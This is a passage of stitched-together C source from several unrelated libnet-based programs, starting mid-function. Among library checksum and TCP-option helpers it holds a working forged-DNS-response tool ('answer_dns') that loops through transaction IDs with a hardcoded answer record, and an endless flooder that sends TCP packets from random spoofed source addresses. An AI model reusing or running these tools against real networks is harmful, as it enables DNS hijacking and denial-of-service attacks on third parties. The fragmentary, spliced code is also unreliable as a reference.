2) + payload_len; iph->ip_len = htons(size); /* calculate the checksums */ if (libnet_do_checksum(l_icmp + ETH_H, IPPROTO_ICMP, size - IP_H) == -1) { libnet_error(LIBNET_ERR_CRITICAL, "SendEthICMPRST: libnet_do_checksum failed for IPPROTO_ICMP"); return; } if (libnet_do_checksum(l_icmp + ETH_H, IPPROTO_IP, IP_H) == -1) { libnet_error(LIBNET_ERR_CRITICAL, "SendEthICMPRST: libnet_do_checksum failed for IPPROTO_IP"); return; } /* build the ethernet packet */ if (libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_IP, NULL, 0, l_icmp) == -1) { libnet_error(LIBNET_ERR_CRITICAL, "SendEthICMPRST: libnet_build_ethernet"); return; } /* finally write it to the link */ //printf("Send ICMP Rst in Bridge-mode.\n"); if(libnet_write_link_layer(network, device, l_icmp, size) < size) { libnet_error(LIBNET_ERR_CRITICAL, "SendEthICMPRST: libnet_write_link_layer"); return; } } break; } /* end switch(proto) */ /* clean up file-descriptors for the next time we call RejectLayer2 */ if((libnet_close_link_interface(network)) == -1) { libnet_error(LIBNET_ERR_CRITICAL, "libnet_close_link_interface error\n"); } }
int libnet_insert_tcpo(struct tcpoption *opt, u_char opt_len, u_char *buf) { struct libnet_ip_hdr *ip_hdr; struct libnet_tcp_hdr *tcp_hdr; u_char *p; u_short s, j; u_char i, opt_padded_len; u_char opt_padded_buf[MAX_IPOPTLEN]; if (!buf) { return (-1); } ip_hdr = (struct libnet_ip_hdr *)(buf); if (ip_hdr->ip_p != IPPROTO_TCP) { /* * Hey retard, where's the TCP header? */ #if (__DEBUG) libnet_error(LIBNET_ERR_WARNING, "insert_tcpo: tried to insert TCP options into a NON-TCP packet!\n"); #endif return (-1); } if (opt_len > MAX_IPOPTLEN) { /* * Hey retard, TCP options can only be 20 octets long! */ #if (__DEBUG) libnet_error(LIBNET_ERR_WARNING, "insert_tcpo: options list too long!\n"); #endif return (-1); } s = ntohs(ip_hdr->ip_len); /* * Figure out length of options with any necessary padding. */ if (opt_len % 4) { opt_padded_len = opt_len + 4 - (opt_len % 4); } else { opt_padded_len = opt_len; } if ((s + opt_padded_len) > IP_MAXPACKET) { /* * Nope. Too big. */ #if (__DEBUG) libnet_error(LIBNET_ERR_WARNING, "insert_tcpo: options list would result in too large of a packet\n"); #endif return (-1); } /* * Fixed pointer math -- now uses ip_hl instead of IP_H to calculate * offset. */ tcp_hdr = (struct libnet_tcp_hdr *)(buf + (ip_hdr->ip_hl << 2)); /* * Do we have more then just an TCP header? (We are ignoring the IP * header at this point). */ if (s > (ip_hdr->ip_hl << 2) + LIBNET_TCP_H) { /* * Move over whatever's in the way. */ memmove((u_char *)tcp_hdr + LIBNET_TCP_H + opt_padded_len, (u_char *)tcp_hdr + LIBNET_TCP_H, (s - (ip_hdr->ip_hl << 2) - LIBNET_TCP_H)); } /* * Copy over option list. We rely on the programmer having been * smart enough to allocate enough heap memory here. Uh oh. */ p = (u_char *)tcp_hdr + LIBNET_TCP_H; memcpy(opt_padded_buf, (u_char *)opt->tcpopt_list, opt_len); memcpy((u_char *)p, opt_padded_buf, opt_padded_len); /* * Count up number of 32-bit words in options list, padding if * neccessary. */ for (i = 0, j = 0; i < opt_padded_len; i++) (i % 4) ? j : j++; tcp_hdr->th_off += j; tcp_hdr->th_sum = 0; ip_hdr->ip_len = htons(opt_padded_len + s); return (1); }
int main (int argc, char **argv) { u_long src_ip, /* source address */ dst_ip; /* destination address */ u_short src_port, /* source port */ dst_port, /* destination port */ id; /* dns id we are spoofing */ int i, /* loop counter */ written_bytes, /* number of bytes written */ packet_size, /* size of our packet */ payload_size, /* size of our payload */ npackets, /* num of packet to write */ socket; /* socket to write on */ u_char *packet, /* we build this */ *payload; /* we send this */ if (argc < 7) { printf("\nusage: answer_dns <source_ip> <port> <destination_ip> <port> <dns_id> <#_packets>\n"); exit (EXIT_FAILURE); } if ((socket = libnet_open_raw_sock(IPPROTO_RAW)) == -1) libnet_error(LIBNET_ERR_FATAL, "network initialization failed\n"); src_ip = libnet_name_resolve(argv[1], 0); dst_ip = libnet_name_resolve(argv[3], 0); src_port = (u_short) atoi(argv[2]); dst_port = (u_short) atoi(argv[4]); id = (u_short) atoi(argv[5]); npackets = (int) atoi(argv[6]); payload = /* question section name/types, size: 21 */ "\x03\x77\x77\x77\x07\x72\x65\x64\x68\x69\x76\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01" /* answer section, names/types, size: 21 */ "\x03\x77\x77\x77\x07\x72\x65\x64\x68\x69\x76\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01" /* answer section, ttl, size: 4 */ "\xff\xff\xff\xff" /* answer section, rdata length, size: 2 */ "\x00\x04" /* answer section, rdata, size: 4 */ "\x81\x51\xe0\x43"; payload_size = 52; /* * packet memory allocation */ packet_size = payload_size + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H; libnet_init_packet(packet_size, &packet); if (packet == NULL) libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); /* * ip header construction */ libnet_build_ip(payload_size + LIBNET_UDP_H + LIBNET_DNS_H, 0, /* ip tos */ 10951, /* ip id */ 0, /* fragmentation bits */ 64, /* ttl */ IPPROTO_UDP, /* protocol */ src_ip, /* source address */ dst_ip, /* destination address */ NULL, /* payload */ 0, /* payload length */ packet); /* packet buffer */ /* * udp header construction * during debugging i found that we weren't generating the correct * length here, that is why a payload length is included (payload + dns_header) * it really shouldn't be here though */ libnet_build_udp(src_port, /* source port */ dst_port, /* destination port */ NULL, /* payload */ payload_size + 12, /* payload length */ packet + LIBNET_IP_H); /* * write npackets * we loop from here because we must change the dns id and also re-checksum */ printf("\nwriting packets"); for (i = 0; i < npackets; i++) { printf("."); /* * dns header construction */ libnet_build_dns(id+i, /* dns id */ 0x8180, /* control flags */ 1, /* number of questions */ 1, /* number of answer RR's */ 0, /* number of authority RR's */ 0, /* number of additional RR's */ payload, /* payload */ payload_size, /* payload length */ packet + LIBNET_IP_H + LIBNET_UDP_H); /* * calculate checksum */ libnet_do_checksum (packet, IPPROTO_UDP, packet_size - LIBNET_IP_H); /* * write packet */ written_bytes = libnet_write_ip(socket, packet, packet_size); /* * make sure the number of written bytes jives with what we expect */ if (written_bytes < packet_size) libnet_error(LN_ERR_WARNING, "libnet_write_ip only wrote %d of %d bytes\n", written_bytes, packet_size); } /* * cleanup */ libnet_destroy_packet(&packet); if (libnet_close_raw_sock(socket) == -1) libnet_error(LN_ERR_WARNING, "libnet_close_raw_sock couldn't close the interface"); printf("\n"); return (written_bytes == -1 ? EXIT_FAILURE : EXIT_SUCCESS); }
int libnet_do_checksum(u_char *buf, int protocol, int len) { struct libnet_ip_hdr *iph_p; int ip_hl; int sum; sum = 0; iph_p = (struct libnet_ip_hdr *)buf; ip_hl = iph_p->ip_hl << 2; /* * Dug Song came up with this very cool checksuming implementation * eliminating the need for explicit psuedoheader use. Check it out. */ switch (protocol) { /* * Style note: normally I don't advocate declaring variables inside * blocks of control, but it makes good sense here. -- MDS */ case IPPROTO_TCP: { struct libnet_tcp_hdr *tcph_p = (struct libnet_tcp_hdr *)(buf + ip_hl); #if (STUPID_SOLARIS_CHECKSUM_BUG) tcph_p->th_sum = tcph_p->th_off << 2; return (1); #endif /* STUPID_SOLARIS_CHECKSUM_BUG */ tcph_p->th_sum = 0; sum = libnet_in_cksum((u_short *)&iph_p->ip_src, 8); sum += ntohs(IPPROTO_TCP + len); sum += libnet_in_cksum((u_short *)tcph_p, len); tcph_p->th_sum = LIBNET_CKSUM_CARRY(sum); break; } case IPPROTO_UDP: { struct libnet_udp_hdr *udph_p = (struct libnet_udp_hdr *)(buf + ip_hl); udph_p->uh_sum = 0; sum = libnet_in_cksum((u_short *)&iph_p->ip_src, 8); sum += ntohs(IPPROTO_UDP + len); sum += libnet_in_cksum((u_short *)udph_p, len); udph_p->uh_sum = LIBNET_CKSUM_CARRY(sum); break; } case IPPROTO_ICMP: { struct libnet_icmp_hdr *icmph_p = (struct libnet_icmp_hdr *)(buf + ip_hl); icmph_p->icmp_sum = 0; sum = libnet_in_cksum((u_short *)icmph_p, len); icmph_p->icmp_sum = LIBNET_CKSUM_CARRY(sum); break; } case IPPROTO_IGMP: { struct libnet_igmp_hdr *igmph_p = (struct libnet_igmp_hdr *)(buf + ip_hl); igmph_p->igmp_sum = 0; sum += libnet_in_cksum((u_short *)igmph_p, len); igmph_p->igmp_sum = LIBNET_CKSUM_CARRY(sum); break; } case IPPROTO_OSPF: { struct libnet_ospf_hdr *oh_p = (struct libnet_ospf_hdr *)(buf + ip_hl); u_char *payload = (u_char *)(buf + ip_hl + LIBNET_AUTH_H + sizeof(oh_p)); u_char *tbuf = (u_char *)malloc(sizeof(oh_p) + sizeof(payload)); oh_p->ospf_cksum = 0; sum += libnet_in_cksum((u_short *)tbuf, sizeof(tbuf)); oh_p->ospf_cksum = LIBNET_CKSUM_CARRY(sum); free(tbuf); break; } case IPPROTO_OSPF_LSA: { /* * Reworked fletcher checksum taken from RFC 1008. */ int c0, c1; struct libnet_lsa_hdr *lsa_p = (struct libnet_lsa_hdr *)buf; u_char *p, *p1, *p2, *p3; c0 = 0; c1 = 0; lsa_p->lsa_cksum[0] = 0; lsa_p->lsa_cksum[1] = 0; /* zero out checksum */ p = buf; p1 = buf; p3 = buf + len; /* beginning and end of buf */ while (p1 < p3) { p2 = p1 + LIBNET_MODX; if (p2 > p3) { p2 = p3; } for (p = p1; p < p2; p++) { c0 += (*p); c1 += c0; } c0 %= 255; c1 %= 255; /* modular 255 */ p1 = p2; } lsa_p->lsa_cksum[0] = (((len - 17) * c0 - c1) % 255); if (lsa_p->lsa_cksum[0] <= 0) { lsa_p->lsa_cksum[0] += 255; } lsa_p->lsa_cksum[1] = (510 - c0 - lsa_p->lsa_cksum[0]); if (lsa_p->lsa_cksum[1] > 255) { lsa_p->lsa_cksum[1] -= 255; } break; } case IPPROTO_IP: { iph_p->ip_sum = 0; sum = libnet_in_cksum((u_short *)iph_p, len); iph_p->ip_sum = LIBNET_CKSUM_CARRY(sum); break; } default: { #if (__DEBUG) libnet_error(LN_ERR_CRITICAL, "do_checksum: UNSUPP protocol %d\n", protocol); #endif return (-1); } } return (1); }
int main (int argc, char **argv) { u_long src_ip, /* source address */ dst_ip; /* destination address */ u_short src_port, /* source port */ dst_port, /* destination port */ id; /* dns id we are spoofing */ int written_bytes, /* number of bytes written */ packet_size, /* size of our packet */ payload_size, /* size of our payload */ socket; /* socket to write on */ u_char *packet, /* we build this */ *payload; /* we send this */ if (argc < 6) { printf("\nusage: ask_dns <source_ip> <port> <destination_ip> <port> <dns_id>\n"); exit (EXIT_FAILURE); } if ((socket = libnet_open_raw_sock(IPPROTO_RAW)) == -1) libnet_error(LIBNET_ERR_FATAL, "network initialization failed\n"); src_ip = libnet_name_resolve(argv[1], 0); dst_ip = libnet_name_resolve(argv[3], 0); src_port = (u_short) atoi(argv[2]); dst_port = (u_short) atoi(argv[4]); id = (u_short) atoi(argv[5]); payload = "\x03\x77\x77\x77\x07\x72\x65\x64\x68\x69\x76\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01"; payload_size = 21; /* * packet memory allocation */ packet_size = payload_size + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H; libnet_init_packet(packet_size, &packet); if (packet == NULL) libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); /* * ip header construction */ libnet_build_ip(payload_size + LIBNET_UDP_H + LIBNET_DNS_H, 0, /* ip tos */ 0, /* ip id */ 0, /* fragmentation bits */ 64, /* ttl */ IPPROTO_UDP, /* protocol */ src_ip, /* source address */ dst_ip, /* destination address */ NULL, /* payload */ 0, /* payload length */ packet); /* packet buffer */ /* * udp header construction * during debugging i found that we weren't generating the correct * length here, that is why a payload length is included (payload + dns_header) * it really shouldn't be here though */ libnet_build_udp(src_port, /* source port */ dst_port, /* destination port */ NULL, /* payload */ 33, /* payload length */ packet + LIBNET_IP_H); /* * dns header construction */ libnet_build_dns(id, /* dns id */ 0x0100, /* control flags */ 1, /* number of questions */ 0, /* number of answer RR's */ 0, /* number of authority RR's */ 0, /* number of additional RR's */ payload, /* payload */ payload_size, /* payload length */ packet + LIBNET_IP_H + LIBNET_UDP_H); /* * calculate checksum */ libnet_do_checksum (packet, IPPROTO_UDP, packet_size - LIBNET_IP_H); /* * write packet */ written_bytes = libnet_write_ip(socket, packet, packet_size); /* * make sure the number of written bytes jives with what we expect */ if (written_bytes < packet_size) libnet_error(LN_ERR_WARNING, "libnet_write_ip only wrote %d of %d bytes\n", written_bytes, packet_size); /* * we're done with this packet */ libnet_destroy_packet(&packet); /* * we're done writing */ if (libnet_close_raw_sock(socket) == -1) libnet_error(LN_ERR_WARNING, "libnet_close_raw_sock couldn't close the interface"); return (written_bytes == -1 ? EXIT_FAILURE : EXIT_SUCCESS); }
int main (int argc, char *argv[]) { int i, loop; /* no payload yet */ int size = LIBNET_PACKET; opt.seqn = opt.ackn = opt.flags = 0; opt.dport = opt.sport = opt.frag = 0; opt.ttl = 255; opt.winsize = 16384; opt.tos = 0x08; signal (SIGINT, (void (*)()) abort); srand (time (NULL) + getpid ()); srandom (time (NULL) + getpid ()); banner (); parse_args (argc, argv); if (!whocares) { if (!local) { if (!(opt.dst = libnet_name_resolve (dsthost, LIBNET_RESOLVE))) { libnet_error (LIBNET_ERR_FATAL, ":: invalid destination IP address: %s\n", dsthost); exit (1); } printf (":: destination host - %s\n", dsthost); } else printf (":: destination host - local\n"); } else printf (":: destination host - whocares\n"); printf (":: destination port(s)"); for (i = 1; i < ports + 1; i++) printf (" - %d", portarray[i]); printf ("\n"); if (libnet_init_packet (size, &packet) == NULL) { libnet_error (LIBNET_ERR_FATAL, ":: libnet_init_packet failed\n"); } if ((s = libnet_open_raw_sock (IPPROTO_RAW)) == -1) { libnet_error (LIBNET_ERR_FATAL, ":: cannot open socket.\n"); } printf (":: spanking...\n"); printf (":: press ^C to end...\n"); for (;;) { for (i = 1; i < ports + 1; i++) { if (whocares) change2 = random () & 01; if (ismult) { opt.src = ((224 + rand () % 239) << 24) + ((rand () % 254) << 16) + ((rand () % 254) << 8) + (rand () % 254); if (local) opt.dst = ((224 + rand () % 239) << 24) + (0 << 16) + (0 << 8) + (rand () % 5); else { if (change2) opt.dst = ((224 + rand () % 239) << 24) + ((rand () % 254) << 16) + ((rand () % 254) << 8) + (rand () % 254); else opt.dst = rand (); } } else { opt.src = rand (); if (local) opt.dst = ((224 + rand () % 239) << 24) + (0 << 16) + (0 << 8) + (rand () % 5); else { if (change2) opt.dst = ((224 + rand () % 239) << 24) + ((rand () % 254) << 16) + ((rand () % 254) << 8) + (rand () % 254); else opt.dst = rand (); } } if (isrand) { loop = rand () % 5; for (i = 0; i <= loop; i++) opt.flags |= flag_array[rand () % 5]; opt.frag = frag_array[rand () % 3]; opt.ackn = random (); opt.sport = 1024 + rand () % 32000; opt.tos = tos_array[rand () % 3]; opt.ttl = rand () % 255; opt.winsize = rand () % 32000; if (change) ismult = random () & 01; } opt.ident = random (); opt.seqn = random (); if (!stream) opt.ackn = random (); if (portarray[i] == 0) opt.dport = rand () % 1024; else opt.dport = portarray[i]; libnet_build_ip (TCP_H, opt.tos, opt.ident, opt.frag, opt.ttl, IPPROTO_TCP, opt.src, opt.dst, NULL, 0, packet); libnet_build_tcp (opt.sport, opt.dport, opt.seqn, opt.ackn, opt.flags, opt.winsize, 0, NULL, 0, packet + IP_H); if (libnet_do_checksum (packet, IPPROTO_TCP, TCP_H) == -1) { libnet_error (LIBNET_ERR_FATAL, ":: libnet_do_checksum failed\n"); } libnet_write_ip (s, packet, size); } } return 1; }
void send_packet(char *protocol, int sport2, int dport2, int id, int ttl, int count, const u_char *payload, int payload_size) { char errbuf[LIBNET_ERRBUF_SIZE]; /* error buffer */ struct libnet_link_int *network; /* pointer to link interface struct */ int packet_size; /* size of our packet */ int ip_size; /* size of our ip */ int udp_size; /* size of our udp */ int tcp_size; /* size of our tcp */ int c; u_char *packet; /* pointer to our packet buffer */ /* * Step 1: Network Initialization (interchangable with step 2). */ if ((network = libnet_open_link_interface(dev2, errbuf)) == NULL) { libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface: %s\n", errbuf); } /* * We're going to build a UDP packet with a payload using the * link-layer API, so this time we need memory for a ethernet header * as well as memory for the ICMP and IP headers and our payload. */ if (protocol == "udp") { packet_size = LIBNET_ETH_H + LIBNET_IP_H + LIBNET_UDP_H + payload_size; ip_size = LIBNET_IP_H + LIBNET_UDP_H + payload_size; udp_size = LIBNET_UDP_H + payload_size; /* * Step 2: Memory Initialization (interchangable with step 1). */ if (libnet_init_packet(packet_size, &packet) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); } /* * Step 3: Packet construction (ethernet header). */ libnet_build_ethernet( enet_dst, enet_src, ETHERTYPE_IP, NULL, 0, packet); printf("\n--- Injected packet number %i on %s ---\n", count, dev2); /* * Step 3: Packet construction (IP header). */ libnet_build_ip( LIBNET_UDP_H + payload_size, 0, /* IP tos */ id, /* IP ID */ 0, /* Frag */ ttl, /* TTL */ IPPROTO_UDP, /* Transport protocol */ inet_addr(saddr2), /* Source IP */ inet_addr(daddr2), /* Destination IP */ payload, /* Pointer to payload (none) */ 0, packet + LIBNET_ETH_H); /* Packet header memory */ /* * Step 3: Packet construction (UDP header). */ libnet_build_udp( sport2, /* source port */ dport2, /* dest. port */ payload, /* payload */ payload_size, /* payload length */ packet + LIBNET_ETH_H + LIBNET_IP_H); /* * Step 4: Packet checksums (ICMP header *AND* IP header). */ if (libnet_do_checksum(packet + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload_size) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } if (libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } /* print packet info */ if (!hide_header) { printf("IP header Src Addr: %s", saddr2); printf(" Dst Addr: %s\n", daddr2); printf(" Len: %i ID: %i TTL: %i\n", ip_size, id, ttl); printf("UDP header Src port: %i Dst port: %i Len: %i\n", sport2, dport2, udp_size); } if (!hide_payload) { printf("Payload (%d bytes)\n", payload_size); print_payload(payload, payload_size); } } if (protocol == "tcp") { packet_size = LIBNET_ETH_H + LIBNET_IP_H + LIBNET_TCP_H + payload_size; ip_size = LIBNET_IP_H + LIBNET_TCP_H + payload_size; tcp_size = LIBNET_TCP_H + payload_size; /* * Step 2: Memory Initialization (interchangable with step 1). */ if (libnet_init_packet(packet_size, &packet) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); } /* * Step 3: Packet construction (ethernet header). */ libnet_build_ethernet( enet_dst, enet_src, ETHERTYPE_IP, NULL, 0, packet); printf("\n--- Injected packet number %i on %s ---\n", count, dev2); /* * Step 3: Packet construction (IP header). */ libnet_build_ip( LIBNET_TCP_H + payload_size, 0, /* IP tos */ id, /* IP ID */ 0, /* Frag */ ttl, /* TTL */ IPPROTO_TCP, /* Transport protocol */ inet_addr(saddr2), /* Source IP */ inet_addr(daddr2), /* Destination IP */ payload, /* Pointer to payload */ 0, packet + LIBNET_ETH_H); /* Packet header memory */ /* * Step 3: Packet construction (TCP header). */ libnet_build_tcp( sport2, /* source TCP port */ dport2, /* destination TCP port */ 0xa1d95, /* sequence number */ 0x53, /* acknowledgement number */ TH_SYN, /* control flags */ 1024, /* window size */ 0, /* urgent pointer */ NULL, /* payload (none) */ 0, /* payload length */ packet + LIBNET_ETH_H + LIBNET_IP_H); /* * Step 4: Packet checksums (ICMP header *AND* IP header). */ if (libnet_do_checksum(packet + ETH_H, IPPROTO_TCP, LIBNET_TCP_H + payload_size) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } if (libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } /* print packet info */ if (!hide_header) { printf("IP header Src Addr: %s", saddr2); printf(" Dst Addr: %s\n", daddr2); printf(" Len: %i ID: %i TTL: %i\n", ip_size, id, ttl); printf("TCP header Src port: %i Dst port: %i Len: %i\n", sport2, dport2, tcp_size); } if (!hide_payload) { printf("Payload (%d bytes)\n", payload_size); print_payload(payload, payload_size); } } /* * Step 5: Packet injection. */ c = libnet_write_link_layer(network, dev2, packet, packet_size); if (c < packet_size) { libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", c); } /* * Shut down the interface. */ if (libnet_close_link_interface(network) == -1) { libnet_error(LN_ERR_WARNING, "libnet_close_link_interface couldn't close the interface"); } /* * Free packet memory. */ libnet_destroy_packet(&packet); printf("\n"); }